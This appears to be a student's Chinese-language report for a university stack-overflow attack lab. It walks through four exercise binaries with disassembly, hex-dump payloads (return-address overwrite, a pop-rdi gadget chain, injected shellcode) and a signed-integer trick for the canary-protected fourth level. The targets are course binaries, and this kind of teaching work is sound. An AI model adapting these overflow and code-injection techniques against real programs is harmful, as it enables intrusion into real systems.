

栈溢出攻击实验

姓名：刘梓昱

学号：2024200547

题目解决思路

Problem 1:

• 分析:

首先我们发现main函数后面有一个 40135d: e8 d0 fe ff ff call 401232。这里调用了func，然后我们去看func，发现func里有明显的攻击区。sub分配栈空间，rbp-0x8是缓冲区，strcpy拷贝不检查长度。我们只需要跳转到func1即可，func1就是通关的函数。0x402004是答案的起始地址，调用put输出。我们用任意字符填满低16位，然后按照小端写入func1的地址即可。

```
40123a: 48 83 ec 20      sub    $0x20,%rsp
40123e: 48 89 7d e8      mov    %rdi,-0x18(%rbp)
401242: 48 8b 55 e8      mov    -0x18(%rbp),%rdx
401246: 48 8d 45 f8      lea    -0x8(%rbp),%rax
40124a: 48 89 d6         mov    %rdx,%rsi
40124d: 48 89 c7         mov    %rax,%rdi
401250: e8 5b fe ff ff  call   4010b0 <strcpy@plt>
```

• 解决方案:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ xxd ans1.txt
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAAAA
00000010: 1612 40                                     ..@
```

• 结果:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

- 分析: 本题的攻击区明显也是func。缓冲区位rbp-0x8。func里调用了memcpy拷贝56个字节，显然会溢出。

```
401298: 48 83 ec 20      sub    $0x20,%rsp
40129c: 48 89 7d e8      mov    %rdi,-0x18(%rbp)
4012a0: 48 8b 4d e8      mov    -0x18(%rbp),%rcx
4012a4: 48 8d 45 f8      lea    -0x8(%rbp),%rax
4012a8: ba 38 00 00 00  mov    $0x38,%edx
4012ad: 48 89 ce        mov    %rcx,%rsi
4012b0: 48 89 c7        mov    %rax,%rdi
4012b3: e8 38 fe ff ff  call   4010f0 <memcpy@plt>
```

我们发现答案位于40203b，因此本题不能只跳转到func2，还需要满足rdi=0x3f8才能跳转到下面的printf，然后才能打印处答案，也就是func2的参数必须为0x3f8。

```
401225: 81 7d fc f8 03 00 00    cmp    $0x3f8,-0x4(%rbp)
40122c: 74 1e                    je     40124c <func2+0x36>
40122e: 48 8d 05 d3 0d 00 00    lea    0xdd3(%rip),%rax      # 402008 <_IO_stdin_used+0x8>
401235: 48 89 c7                mov    %rax,%rdi
401238: b8 00 00 00 00          mov    $0x0,%eax
40123d: e8 8e fe ff ff         call   4010d0 <printf@plt>
401242: bf 00 00 00 00          mov    $0x0,%edi
401247: e8 d4 fe ff ff         call   401120 <exit@plt>
40124c: 48 8d 05 e8 0d 00 00    lea    0xde8(%rip),%rax      # 40203b <_IO_stdin_used+0x3b>
401253: 48 89 c7                mov    %rax,%rdi
401256: b8 00 00 00 00          mov    $0x0,%eax
40125b: e8 70 fe ff ff         call   4010d0 <printf@plt>
```

我们发现汇编中有一个pop_rdi函数，因此先跳转到pop %rdi，然后设置值为0x3f8，最后跳转到func2即可。

- 解决方案:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ xxd ans2.txt
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAAAA
00000010: c712 4000 0000 0000 f803 0000 0000 0000  ..@.....
00000020: 1612 4000 0000 0000 4242 4242 4242 4242  ..@.....BBBBBBBB
```

- 结果:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析: 本题的func函数调用memcpy拷贝64字节，但是缓冲区位于rbp-0x20，因此第41-48字节会变成返回地址。我们需要跳转到func1，然后设置参数edi为72才能跳转到答案，但我们无法直接做到这一点。

```
401373: 48 8d 45 e0            lea    -0x20(%rbp),%rax
401377: ba 40 00 00 00         mov    $0x40,%edx
40137c: 48 89 ce              mov    %rcx,%rsi
40137f: 48 89 c7              mov    %rax,%rdi
401382: e8 69 fd ff ff        call   4010f0 <memcpy@plt>
401387: 48 8d 05 7a 0c 00 00    lea    0xc7a(%rip),%rax      # 402008 <_IO_stdin_used+0x8>
40138e: 48 89 c7              mov    %rax,%rdi
401391: e8 1a fd ff ff        call   4010b0 <puts@plt>
401396: 48 8d 05 93 0c 00 00    lea    0xc93(%rip),%rax      # 402030 <_IO_stdin_used+0x30>
40139d: 48 89 c7              mov    %rax,%rdi
4013a0: e8 0b fd ff ff        call   4010b0 <puts@plt>
```

因此我们需要先跳转到jmp_xs，jmp_xs会帮我们跳转到saved_rsp+0x10。saved_rsp是一个全局变量，储存一开始的rsp值。我们发现func开始的rsp-0x20正好就是缓冲区的起点。因此我们只需要在低40个字节的开头加入设置参数edi为72的指令即可。

```
40133c: 48 8b 05 cd 21 00 00    mov    0x21cd(%rip),%rax      # 403510 <saved_rsp>
401343: 48 89 45 f8            mov    %rax,-0x8(%rbp)
401347: 48 83 45 f8 10         addq   $0x10,-0x8(%rbp)
40134c: 48 8b 45 f8            mov    -0x8(%rbp),%rax
401350: ff e0                 jmp     *%rax
```

我们编写一段设置edi为72然后跳转到func1的指令，转换成汇编放在缓冲区开头，然后把前40字节的后面部分

用字符填满，最后加上jmp_xs的地址即可。

- 解决方案:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ xxd ans3.txt
00000000: bf72 0000 0048 b816 1240 0000 0000 00ff  .r...H...@.....
00000010: e041 4141 4141 4141 4141 4141 4141 4141  .AAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 3413 4000 0000 0000  AAAAAAA4.@.....
```

- 结果:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- 分析: main程序运行开始先取出%fs:0x28, 放到rbp-0x8的位置, 用于后面检测有没有被修改。

```
00000000000001420 <main>:
    1420:  f3 0f 1e fa                endbr64
    1424:  55                          push    %rbp
    1425:  48 89 e5                    mov     %rsp,%rbp
    1428:  48 81 ec a0 00 00 00        sub     $0xa0,%rsp
    142f:  64 48 8b 04 25 28 00        mov     %fs:0x28,%rax
    1436:  00 00
```

func函数有检测保护的部分。如果不相同说明canary被修改, 就跳转到__stack_chk_fail@plt, 终止程序。

```
    140a:  48 8b 45 f8                mov     -0x8(%rbp),%rax
    140e:  64 48 2b 04 25 28 00        sub     %fs:0x28,%rax
    1415:  00 00
    1417:  74 05                      je      141e <func+0xc1>
    1419:  e8 b2 fc ff ff            call    10d0 <__stack_chk_fail@plt>
    141e:  c9                          leave
    141f:  c3                          ret
```

- 解决方案: 无

- 结果:

```
lzyruc@LAPTOP-NE18EOCL:~/attacklab/attack-lab-lzyruc$ ./problem4
hi please tell me what is your name?
liu ziyu
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

总体难度不大，但确实很有趣。

参考资料

无